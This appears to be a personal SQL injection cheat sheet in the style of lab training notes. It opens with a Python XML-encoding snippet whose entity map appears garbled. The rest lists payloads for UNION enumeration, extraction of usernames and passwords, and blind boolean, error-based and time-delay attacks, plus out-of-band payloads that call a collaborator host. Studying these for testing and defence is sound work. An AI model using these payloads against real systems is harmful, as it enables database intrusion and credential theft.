SQL Injection Vectors

import xml.sax.saxutils
 
# Define the string to be encoded
string = "this is a string to be XML encoded"
 
# Encode the string using the escape() method
encoded_string = xml.sax.saxutils.escape(string, {
    "'": "'",  # Single quote
    '"': """,  # Double quote
    "&": "&",  # Ampersand
    "<": "&#x3c;",  # Less than
    ">": "&#x3e;",  # Greater than
    " ": "&#x20;"   # Space
})
 
# Print the encoded string
print(encoded_string)

SQL Injection Methodology

Type of SQL injection

  • Retrieving hidden data ---> Modify an SQL query to return additional results
  • Subverting application logic ---> Change a query to interfere with the application's logic
  • UNION attacks ---> Retrieve data from different database tables.
  • Examining the database ---> Extract info about the version and structure of DB
  • Blind SQL injection ---> Results query not returned in application's responses

Check Vulnerability

# SQL Trigger
'   ---> Error
''  ---> Back to normal

--------------------------------------------------------------------------------
# SQL Comment
- --
- #

SQL Injection (Not Blind)

# Retrieving Hidden Data

Target URL: https://insecure-website.com/products?category=Gifts'--

SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1

- -- is a comment indicator in SQL

--------------------------------------------------------------------------------
# Union attack | # Determining the number of columns

- Ex: SELECT a, b FROM table1 UNION SELECT c, d FROM table2

- Method 1 involves injecting a series of `ORDER BY` clauses (don't need to know the names of any columns)

' ORDER BY 1--, ' ORDER BY 2--, ' ORDER BY 3--, ...

When the specified column index exceeds the number of actual columns, the database returns an error.

- Method 2 involves submitting a series of `UNION SELECT` payloads specifying a different number of null values

' UNION SELECT NULL--, ' UNION SELECT NULL,NULL--' UNION SELECT NULL,NULL,NULL--, ...

When the specified column index exceeds the number of actual columns, the database returns an error.

--------------------------------------------------------------------------------
# Union Attack | # Determining the number of columns (**ORACLE**)

On Oracle, every `SELECT` query must use the `FROM` keyword and specify a valid table

' UNION SELECT NULL FROM DUAL--

--------------------------------------------------------------------------------
# Finding columns data type (String, number, ...)

You can submit a series of `UNION SELECT` payloads that place a string value into each column in turn

' UNION SELECT 'a',NULL,NULL--, ' UNION SELECT NULL,'a',NULL--, ...

--------------------------------------------------------------------------------
# Combining Results into a Single Row (Concat)

' UNION SELECT user || '~' || pass FROM users--                       ---> Oracle
' UNION SELECT CONCAT(user, '~', pass) AS merged_column FROM users--  ---> MySQL
' UNION SELECT user + '~' + pass AS merged_column FROM users--        ---> SQL Serv

Goal is when for example you only have one colums who accept string and when to extract 2 value, this way you can concat 2 values inside a single string of a column

Ex: ' UNION SELECT NULL, user || '~' || pass FROM users--
--------------------------------------------------------------------------------
# List database Type & Version

#Oracle (Need From Argument to work) ---> FROM dual (default)
SELECT banner FROM v$version
SELECT version FROM v$instance

#Microsoft
SELECT @@version

#PostgreSQL
SELECT version()

#MySQL
SELECT @@version

ex: '+UNION+SELECT+@@version,+NULL--

--------------------------------------------------------------------------------
# Listing the contents of the database

Most database types (except Oracle) have a set of views called the information schema. This provides information about the database.

SELECT * FROM information_schema.tables
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE ---> Elements inside informati...

'UNION SELECT * FROM information_schema.columns WHERE table_name = 'Users'--
'UNION SELECT table_name, NULL FROM information_schema.tables--

'UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='TABLE_FOUND_FROM_information_schema'--

'UNION SELECT column_name_found, NULL FROM TABLE_FOUND_FROM_information_schema--

SQL Injection (Blind)

To determine whether a blind SQL injection is successful, you need to observe a conditional response from the server. This response could take various forms, such as a blank page or a timing-based condition.

--------------------------------------------------------------------------------
# Blind SQL injection with conditional responses

' AND (SELECT 'a' FROM users LIMIT 1)='a   ---> If there is a table named users a=a
' AND (SELECT 'a' FROM users WHERE username='administrator')='a     '''
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a                     ---> if there is a table named users and has a username inside named administrator and where the column named password has a value lower then 2, then a=a wich return true (FUZZ value of pass lenght)

' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='w

This process checks if the first letter of the password is "a". By fuzzing with "a", you can determine the correct statement that reveals the first letter. This method continues for each subsequent letter of the password.

--------------------------------------------------------------------------------
# Error-based SQL injection

Some applications carry out SQL queries but their behavior doesn't change, regardless of whether the query returns any data. The technique in the previous section won't work, because injecting different boolean conditions makes no difference to the application's responses.

' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a 
' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

--------------------------------------------------------------------------------
# blind SQL injection by triggering time delays

'; IF (1=1) WAITFOR DELAY '0:0:10'--
'; IF (1=2) WAITFOR DELAY '0:0:10'--

'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

';SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--
';SELECT CASE WHEN (1=2) THEN pg_sleep(10) ELSE pg_sleep(0) END--
';SELECT CASE WHEN (username='administrator' AND LENGTH(password)>1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
';SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)='a') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

--------------------------------------------------------------------------------
# blind SQL injection using out-of-band

Check documentation for other SQL database

Microsoft SQL: '; exec master..xp_dirtree '//12345.burpcollaborator.net/a'--

' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual--

Cheat Sheet